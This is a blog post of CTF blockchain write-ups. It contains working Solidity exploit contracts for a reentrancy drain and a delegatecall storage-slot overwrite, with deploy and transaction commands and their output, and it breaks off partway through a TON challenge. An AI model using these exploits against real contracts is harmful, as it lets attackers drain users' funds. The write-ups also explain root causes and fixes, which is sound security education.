Welcome to my world!

Welcome to my world!

Cybersecurity enthusiast and smart contract auditor exploring blockchain, and AI.

Cybersecurity enthusiast and smart contract auditor exploring blockchain, and AI.

Brand Logo
Icon
1

SEKAI CTF 2026 — Blockchain Writeups

18 min read

Here are my writeups for every blockchain challenge from SEKAI CTF 2026. For each one I walk through how I analysed the challenge, the vulnerable code, the exploit, the root cause, and the fix. Use the index in the sidebar to jump straight to the challenge you're after.

01 / SEKAI CTF 2026 Blockchain

PP Farming

Reentrancy in the withdrawal path: the ATM pays out before it writes down that you've been paid.

Category: Blockchain

Chains: Ethereum (EVM)

What you're given

The challenge is a small Foundry project plus an instancer:

pp-farming/
├── src/
└── PerformancePointATM.sol   # the target contract
├── script/
└── Deploy.s.sol              # deploys the ATM funded with 10 ether
└── foundry.toml
pp-farming/
├── src/
└── PerformancePointATM.sol   # the target contract
├── script/
└── Deploy.s.sol              # deploys the ATM funded with 10 ether
└── foundry.toml
pp-farming/
├── src/
└── PerformancePointATM.sol   # the target contract
├── script/
└── Deploy.s.sol              # deploys the ATM funded with 10 ether
└── foundry.toml

Spin up an instance and it hands you what you need to talk to a private chain:

RPC  : https://eth.chals.sekai.team/<token>/main   (chain id 31337

RPC  : https://eth.chals.sekai.team/<token>/main   (chain id 31337

RPC  : https://eth.chals.sekai.team/<token>/main   (chain id 31337

Winning is server-side. The instancer calls isSolved() on the ATM, and if it comes back true you get the flag. So the whole thing collapses to one goal: make isSolved() return true over the RPC.

How I read it

I don't start from the top of the file, I start from the win condition:

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

And the ATM is deployed holding 10 ETH:

// Deploy.s.sol
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();
// Deploy.s.sol
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();
// Deploy.s.sol
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();

So the objective is exact: drain the contract to 0 wei. Now I only care about the functions that move money:

  • donatePP(address) — credits scores[_to] by msg.value. Money in.

  • withdrawPP() — pays out scores[msg.sender]. Money out.

The pay-out path is always the first place I look, and this one breaks the most basic rule in the book — Checks-Effects-Interactions.

The bug

function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");  // INTERACTION first
    require(result, "Transfer failed");
    scores[msg.sender] = 0;                                // EFFECT after
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");  // INTERACTION first
    require(result, "Transfer failed");
    scores[msg.sender] = 0;                                // EFFECT after
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");  // INTERACTION first
    require(result, "Transfer failed");
    scores[msg.sender] = 0;                                // EFFECT after
}

It sends the ETH before it zeroes the balance, and msg.sender.call hands execution to whatever contract is calling. There's no reentrancy guard. So if my receive() calls withdrawPP() again, it re-enters while my score is still on the books and pays me a second time out of the same pot. Repeat until the ATM is empty.

Tracing the re-entry

I deposit chunk = 10 ETH to myself first, so the ATM holds 10 + 10 = 20 ETH and scores[attacker] = 10:

withdrawPP()                       score=10   ATM=20
└─ call sends 10 attacker        ATM=10
   └─ receive(): ATM(10) >= 10 re-enter
      withdrawPP()                 score=10   (still set!)  ATM=10
      └─ call sends 10 attacker  ATM=0
         └─ receive(): ATM(0) >= 10 stop
      scores[attacker] = 0
   scores[attacker] = 0            (already 0)
withdrawPP()                       score=10   ATM=20
└─ call sends 10 attacker        ATM=10
   └─ receive(): ATM(10) >= 10 re-enter
      withdrawPP()                 score=10   (still set!)  ATM=10
      └─ call sends 10 attacker  ATM=0
         └─ receive(): ATM(0) >= 10 stop
      scores[attacker] = 0
   scores[attacker] = 0            (already 0)
withdrawPP()                       score=10   ATM=20
└─ call sends 10 attacker        ATM=10
   └─ receive(): ATM(10) >= 10 re-enter
      withdrawPP()                 score=10   (still set!)  ATM=10
      └─ call sends 10 attacker  ATM=0
         └─ receive(): ATM(0) >= 10 stop
      scores[attacker] = 0
   scores[attacker] = 0            (already 0)

Two sends of 10 ETH, 20 → 10 → 0. The ATM is empty, isSolved() flips to true, and I keep the 10 ETH it was seeded with.

Sizing the deposit

Let chunk be what I credit myself:

  • ATM balance after the deposit: 10 ether + chunk

  • Each re-entrant withdrawPP() sends exactly chunk

  • I keep re-entering while atm.balance >= chunk

Any chunk that divides 10 ether lands the balance on 0 exactly; a smaller chunk just means deeper recursion. chunk = 10 ether is the clean choice — two sends and done.

The exploit contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // credit ourselves
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before the reset
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // credit ourselves
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before the reset
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // credit ourselves
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before the reset
        }
    }
}

Playing it out

I dropped the instance details into a few env vars:

$ RPC="https://eth.chals.sekai.team/<token>/main"
$ PK="<player-key>"
$ TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"
$ RPC="https://eth.chals.sekai.team/<token>/main"
$ PK="<player-key>"
$ TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"
$ RPC="https://eth.chals.sekai.team/<token>/main"
$ PK="<player-key>"
$ TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"

First, a look at where we're starting from — 10 ETH in the ATM, isSolved() still false:

$ cast balance $TARGET --rpc-url $RPC
10000000000000000000
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
false
$ cast balance $TARGET --rpc-url $RPC
10000000000000000000
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
false
$ cast balance $TARGET --rpc-url $RPC
10000000000000000000
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
false

Ship the attacker and pull its address straight out of the JSON:

$ ATTACKER=$(forge create src/Attacker.sol:Attacker \
    --rpc-url $RPC --private-key $PK --broadcast \
    --constructor-args $TARGET --json | jq -r .deployedTo)
$ echo $ATTACKER
0x9f4b2c7a1e83d0b5c6a2f11d84e7a9c3b0d5e6f2
$ ATTACKER=$(forge create src/Attacker.sol:Attacker \
    --rpc-url $RPC --private-key $PK --broadcast \
    --constructor-args $TARGET --json | jq -r .deployedTo)
$ echo $ATTACKER
0x9f4b2c7a1e83d0b5c6a2f11d84e7a9c3b0d5e6f2
$ ATTACKER=$(forge create src/Attacker.sol:Attacker \
    --rpc-url $RPC --private-key $PK --broadcast \
    --constructor-args $TARGET --json | jq -r .deployedTo)
$ echo $ATTACKER
0x9f4b2c7a1e83d0b5c6a2f11d84e7a9c3b0d5e6f2

One call does the whole thing — it deposits 10 ETH to itself, calls withdrawPP(), and the re-entry from receive() empties the pot:

$ cast send $ATTACKER 'attack()' --value 10ether --rpc-url $RPC --private-key $PK
status               1 (success)
transactionHash      0x6b1d…c2af
gasUsed              97213
$ cast send $ATTACKER 'attack()' --value 10ether --rpc-url $RPC --private-key $PK
status               1 (success)
transactionHash      0x6b1d…c2af
gasUsed              97213
$ cast send $ATTACKER 'attack()' --value 10ether --rpc-url $RPC --private-key $PK
status               1 (success)
transactionHash      0x6b1d…c2af
gasUsed              97213

The second that landed, the ATM was dry and the check went green:

$ cast balance $TARGET --rpc-url $RPC
0
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
true
$ cast balance $TARGET --rpc-url $RPC
0
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
true
$ cast balance $TARGET --rpc-url $RPC
0
$ cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC
true

Flag comes straight from the instancer's Get flag.

Root cause & fix

Textbook Checks-Effects-Interactions violation — state is written after the external call. Zero the balance before paying out, and add a reentrancy guard for good measure:

function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}

Flag

SEKAI{3Z_re3ntr4ncy_atTack5}
SEKAI{3Z_re3ntr4ncy_atTack5}
SEKAI{3Z_re3ntr4ncy_atTack5}

02 / SEKAI CTF 2026 Blockchain

PP Farming 2

They patched the reentrancy. They didn’t patch the proxy underneath it.

Category: Blockchain

Chains: Ethereum (EVM)

What you’re given

Same challenge family as before, same shape of drop:

pp-farming-2/
├── PerformancePointATM.sol   # the ATM, now with a delegatecall proxy fallback
└── Deploy.s.sol              # deploys the helper + ATM, funds the ATM with 10 ether
pp-farming-2/
├── PerformancePointATM.sol   # the ATM, now with a delegatecall proxy fallback
└── Deploy.s.sol              # deploys the helper + ATM, funds the ATM with 10 ether
pp-farming-2/
├── PerformancePointATM.sol   # the ATM, now with a delegatecall proxy fallback
└── Deploy.s.sol              # deploys the helper + ATM, funds the ATM with 10 ether

Deploy.s.sol deploys a PerformancePointHelper first, then the ATM, wired to that helper and holding 10 ETH:

PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));
PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));
PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));

Same instancer pattern as challenge 1 — an RPC endpoint, a funded player key, and the ATM’s address. Same win condition, too:

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

First impression

Same name, same shape — PerformancePointATM, deployed with 10 ETH, same win condition:

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

Same money-in / money-out pair too:

function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );
    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}
function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );
    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}
function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );
    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}

My first instinct after solving challenge 1 was to check for the exact same bug — and it’s gone. withdrawPP() is wrapped in noReentrancy, and the payout is now routed through a delegatecall into a separate performancePointHelper contract instead of a raw .call. Whoever wrote this patch clearly read the first writeup.

That’s exactly the moment to slow down instead of moving on. A challenge author who deliberately closes the obvious door is telling you the real one is somewhere else in the same building. So instead of asking “is this still reentrant,” I asked a different question: what else changed to make this delegatecall pattern possible, and what does that pattern expose?

Reading the delegatecall

withdrawPP() only delegatecalls one function on the helper, and it’s gated by noReentrancy. But a contract that delegatecalls anything usually has a reason to expose more than one entry point into that helper — otherwise why delegatecall at all instead of a normal external call? So I went looking for how else performancePointHelper gets reached, and found the fallback:

fallback() external payable {
    address _impl = performancePointHelper;
    bytes4 selector = msg.sig;
    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");
    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())
        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())
        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}
fallback() external payable {
    address _impl = performancePointHelper;
    bytes4 selector = msg.sig;
    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");
    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())
        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())
        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}
fallback() external payable {
    address _impl = performancePointHelper;
    bytes4 selector = msg.sig;
    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");
    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())
        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())
        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}

This is a minimal proxy. Any function selector that isn’t handled elsewhere in the ATM gets forwarded, via delegatecall, straight into the helper. There’s exactly one selector on a blocklist — processWithdrawal(address,uint256) — presumably so nobody can call it directly and drain arbitrary accounts by hand.

But a blocklist on one function tells you nothing about what else the helper exposes. So I went and read the helper contract in full, not just the function withdrawPP() calls.

What the helper actually exposes

function setATM(address _atm) public {
    atm = _atm;
}
function setATM(address _atm) public {
    atm = _atm;
}
function setATM(address _atm) public {
    atm = _atm;
}

Harmless-looking on its own — it’s a setter on the helper’s own atm variable. Except it isn’t blocked by the fallback’s selector check, and it isn’t guarded, and — this is the part that matters — it’s never called directly on the helper. It’s only ever reached by sending setATM(address) calldata to the ATM, which the fallback then delegatecalls into the helper’s code.

That’s the whole bug in one sentence: delegatecall executes the helper’s code, but in the ATM’s storage. setATM doesn’t write to the helper’s atm slot — it writes to whatever sits at that same slot number in the caller, which is the ATM.

So the question became: what does the ATM keep at that slot?

Lining up the storage layouts

I wrote out both contracts’ declared storage side by side, slot by slot:

// PerformancePointATM
mapping(address => uint256) public scores;   // slot 0
address public performancePointHelper;       // slot 1
bool public locked;                          // slot 2

// PerformancePointHelper
uint256 id_number;                           // slot 0
address public atm;                          // slot 1
bool public helping;                         // slot 2
// PerformancePointATM
mapping(address => uint256) public scores;   // slot 0
address public performancePointHelper;       // slot 1
bool public locked;                          // slot 2

// PerformancePointHelper
uint256 id_number;                           // slot 0
address public atm;                          // slot 1
bool public helping;                         // slot 2
// PerformancePointATM
mapping(address => uint256) public scores;   // slot 0
address public performancePointHelper;       // slot 1
bool public locked;                          // slot 2

// PerformancePointHelper
uint256 id_number;                           // slot 0
address public atm;                          // slot 1
bool public helping;                         // slot 2

Slot 1 on the helper is atm. Slot 1 on the ATM is performancePointHelper. Delegatecall doesn’t know or care about variable names — it just writes to slot 1 of whoever called it. So setATM(evil), executed by the ATM through the fallback, overwrites performancePointHelper with whatever address I pass in.

Once I control performancePointHelper, I control every future delegatecall withdrawPP() makes — including the one processWithdrawal call it’s not supposed to let me forge.

Building the fake helper

The replacement only needs to satisfy one interface: the selector withdrawPP() calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}

The trick that makes this work is the same one that caused the bug: under delegatecall, address(this) inside processWithdrawal isn’t the helper — it’s still the ATM. So address(this).balance is the ATM’s entire balance, and this function hands all of it to whoever I pass as recipient.

Playing it out

Instance values for this run:

$ RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
$ PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
$ ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
$ PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
$ EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'
$ RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
$ PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
$ ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
$ PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
$ EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'
$ RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
$ PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
$ ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
$ PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
$ EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'

First, the fake helper goes up at $EVIL:

$ forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
    --broadcast --rpc-url "$RPC" --private-key "$PK"
$ forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
    --broadcast --rpc-url "$RPC" --private-key "$PK"
$ forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
    --broadcast --rpc-url "$RPC" --private-key "$PK"

withdrawPP() requires score > 0, so I need a nonzero balance on the books before I touch anything else — 1 wei is plenty:

$ cast send "$ATM" 'donatePP(address)' "$PLAYER" --value 1wei --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'donatePP(address)' "$PLAYER" --value 1wei --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'donatePP(address)' "$PLAYER" --value 1wei --rpc-url "$RPC" --private-key "$PK"

Now the actual attack — a call that, on the surface, looks like it just points the ATM at a new address:

$ cast send "$ATM" 'setATM(address)' "$EVIL" --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'setATM(address)' "$EVIL" --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'setATM(address)' "$EVIL" --rpc-url "$RPC" --private-key "$PK"

That single transaction walks through the fallback, delegatecalls the real helper’s setATM, and overwrites performancePointHelper in the ATM’s own storage — slot 1 now holds $EVIL instead of the legitimate helper. From here, withdrawPP() is mine:

$ cast send "$ATM" 'withdrawPP()' --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'withdrawPP()' --rpc-url "$RPC" --private-key "$PK"
$ cast send "$ATM" 'withdrawPP()' --rpc-url "$RPC" --private-key "$PK"

withdrawPP() delegatecalls into ExploitHelper.processWithdrawal, which reads address(this).balance — the ATM’s full balance — and forwards it to PLAYER in the same transaction:

$ cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true
$ cast balance "$ATM" --rpc-url "$RPC"
# 0
$ cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true
$ cast balance "$ATM" --rpc-url "$RPC"
# 0
$ cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true
$ cast balance "$ATM" --rpc-url "$RPC"
# 0

Root cause

noReentrancy closed the door from challenge 1, but the fallback still uses delegatecall as an implicit proxy, and it only blocks one selector by name instead of restricting which functions on the helper are reachable at all. Because the helper’s storage layout wasn’t deliberately kept disjoint from the ATM’s — atm sitting at the same slot as performancePointHelper — a completely unrelated setter became a way to overwrite the proxy’s own implementation pointer. Once that pointer is attacker-controlled, every guarantee withdrawPP() relies on is gone.

Fix

  • Don’t let a fallback forward arbitrary selectors to a delegatecall target. Allowlist the specific functions that are meant to be reachable, rather than blocklisting the one you’re worried about.

  • If a delegatecall pattern is required, follow the same rule proxies use in production (EIP-1967 style): keep the implementation pointer in a storage slot that’s guaranteed not to collide with anything the implementation contract itself declares — a hashed, out-of-the-way slot, not slot 0/1/2.

  • Never let any function reachable through delegatecall write to a slot that also holds security-critical state in the caller. If setATM has to exist on the helper for legitimate reasons, it should live at a slot the ATM has explicitly reserved and never touches for anything else.

Flag

SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}
SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}
SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

03 / SEKAI CTF 2026 Blockchain

Open World

The contract’s economics are airtight. The instancer around it isn’t.

Category: Blockchain

Chains: TON

What you’re given

This one’s a TON challenge, which already meant slowing down — different execution model, different gotchas than the two EVM challenges before it. The project looks like:

open-world/
├── contracts/
│   ├── Challenge.tolk        # the whole game: PlayerBonus, Buy, Sell, Solve, isSolved()
│   ├── JettonMinter.tolk
│   ├── JettonWallet.tolk
│   ├── storage.tolk          # ChallengeStorage layout
│   ├── messages.tolk         # opcodes for every action
│   ├── errors.tolk
│   └── fees-management.tolk
├── sandbox/
│   ├── launcher.ts            # spins up the local TON chain per instance
│   ├── server.ts              # the API v2 the instancer exposes
│   └── deploy-challenge.ts    # deploys Challenge + mints the initial storage

open-world/
├── contracts/
│   ├── Challenge.tolk        # the whole game: PlayerBonus, Buy, Sell, Solve, isSolved()
│   ├── JettonMinter.tolk
│   ├── JettonWallet.tolk
│   ├── storage.tolk          # ChallengeStorage layout
│   ├── messages.tolk         # opcodes for every action
│   ├── errors.tolk
│   └── fees-management.tolk
├── sandbox/
│   ├── launcher.ts            # spins up the local TON chain per instance
│   ├── server.ts              # the API v2 the instancer exposes
│   └── deploy-challenge.ts    # deploys Challenge + mints the initial storage

open-world/
├── contracts/
│   ├── Challenge.tolk        # the whole game: PlayerBonus, Buy, Sell, Solve, isSolved()
│   ├── JettonMinter.tolk
│   ├── JettonWallet.tolk
│   ├── storage.tolk          # ChallengeStorage layout
│   ├── messages.tolk         # opcodes for every action
│   ├── errors.tolk
│   └── fees-management.tolk
├── sandbox/
│   ├── launcher.ts            # spins up the local TON chain per instance
│   ├── server.ts              # the API v2 the instancer exposes
│   └── deploy-challenge.ts    # deploys Challenge + mints the initial storage

And the instancer hands you:

  • a fresh challenge contract address

  • a player wallet seed and wallet id

  • an API v2 endpoint for the local TON chain

The entire game lives in one contract. Storage is small enough to read at a glance:

struct ChallengeStorage {
    remainingPlayerBonus: uint8
    player: address
    minter: address?
    wallet: address?
    isSolved: bool
}
struct ChallengeStorage {
    remainingPlayerBonus: uint8
    player: address
    minter: address?
    wallet: address?
    isSolved: bool
}
struct ChallengeStorage {
    remainingPlayerBonus: uint8
    player: address
    minter: address?
    wallet: address?
    isSolved: bool
}

And the getter the instancer polls to decide whether to hand out the flag:

get fun isSolved(): bool {
    val storage = lazy ChallengeStorage.load();
    return storage.isSolved;
}
get fun isSolved(): bool {
    val storage = lazy ChallengeStorage.load();
    return storage.isSolved;
}
get fun isSolved(): bool {
    val storage = lazy ChallengeStorage.load();
    return storage.isSolved;
}

isSolved only ever flips inside one handler, so that’s where the win condition actually lives — I’ll get to it in a second.

How I read it

Challenge.tolk dispatches on message type, and three of those cases are things a player can trigger directly. First, PlayerBonus — free jettons, no payment required:

PlayerBonus => {
    var storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    val hasBonus = storage.remainingPlayerBonus != 0;

    storage.remainingPlayerBonus -= 1;
    storage.save();

    if (hasBonus) {
        val mintMsg = createMessage({
            bounce: false,
            dest: storage.minter!,
            value: 0,
            body: MintNewJettons {
                queryId: 0,
                mintRecipient: in.senderAddress,
                tonAmount: ton("0.1"),
                internalTransferMsg: InternalTransferStep {
                    queryId: 0,
                    jettonAmount: FLAG_PRICE / 2,
                    transferInitiator: null,
                    sendExcessesTo: null,
                    forwardTonAmount: 0,
                    forwardPayload: createEmptySlice()
                }.toCell()
            }
        });
        mintMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}
PlayerBonus => {
    var storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    val hasBonus = storage.remainingPlayerBonus != 0;

    storage.remainingPlayerBonus -= 1;
    storage.save();

    if (hasBonus) {
        val mintMsg = createMessage({
            bounce: false,
            dest: storage.minter!,
            value: 0,
            body: MintNewJettons {
                queryId: 0,
                mintRecipient: in.senderAddress,
                tonAmount: ton("0.1"),
                internalTransferMsg: InternalTransferStep {
                    queryId: 0,
                    jettonAmount: FLAG_PRICE / 2,
                    transferInitiator: null,
                    sendExcessesTo: null,
                    forwardTonAmount: 0,
                    forwardPayload: createEmptySlice()
                }.toCell()
            }
        });
        mintMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}
PlayerBonus => {
    var storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    val hasBonus = storage.remainingPlayerBonus != 0;

    storage.remainingPlayerBonus -= 1;
    storage.save();

    if (hasBonus) {
        val mintMsg = createMessage({
            bounce: false,
            dest: storage.minter!,
            value: 0,
            body: MintNewJettons {
                queryId: 0,
                mintRecipient: in.senderAddress,
                tonAmount: ton("0.1"),
                internalTransferMsg: InternalTransferStep {
                    queryId: 0,
                    jettonAmount: FLAG_PRICE / 2,
                    transferInitiator: null,
                    sendExcessesTo: null,
                    forwardTonAmount: 0,
                    forwardPayload: createEmptySlice()
                }.toCell()
            }
        });
        mintMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}

FLAG_PRICE / 2 is 50 jettons per successful call. Then Buy, which mints jettons for a price:

Buy => {
    val storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    assert (
        in.valueCoins > msg.amount * TOKEN_PRICE + BUY_MINT_TON_AMOUNT
    ) throw Errors.INSUFFICIENT_FUNDS;

    val mintMsg = createMessage({
        bounce: false,
        dest: storage.minter!,
        value: BUY_MINT_TON_AMOUNT,
        body: MintNewJettons {
            queryId: 0,
            mintRecipient: in.senderAddress,
            tonAmount: ton("0.1"),
            internalTransferMsg: InternalTransferStep {
                queryId: 0,
                jettonAmount: msg.amount,
                transferInitiator: null,
                sendExcessesTo: null,
                forwardTonAmount: 0,
                forwardPayload: createEmptySlice(),
            },
        },
    });
    mintMsg.send(SEND_MODE_REGULAR);
    ...
}
Buy => {
    val storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    assert (
        in.valueCoins > msg.amount * TOKEN_PRICE + BUY_MINT_TON_AMOUNT
    ) throw Errors.INSUFFICIENT_FUNDS;

    val mintMsg = createMessage({
        bounce: false,
        dest: storage.minter!,
        value: BUY_MINT_TON_AMOUNT,
        body: MintNewJettons {
            queryId: 0,
            mintRecipient: in.senderAddress,
            tonAmount: ton("0.1"),
            internalTransferMsg: InternalTransferStep {
                queryId: 0,
                jettonAmount: msg.amount,
                transferInitiator: null,
                sendExcessesTo: null,
                forwardTonAmount: 0,
                forwardPayload: createEmptySlice(),
            },
        },
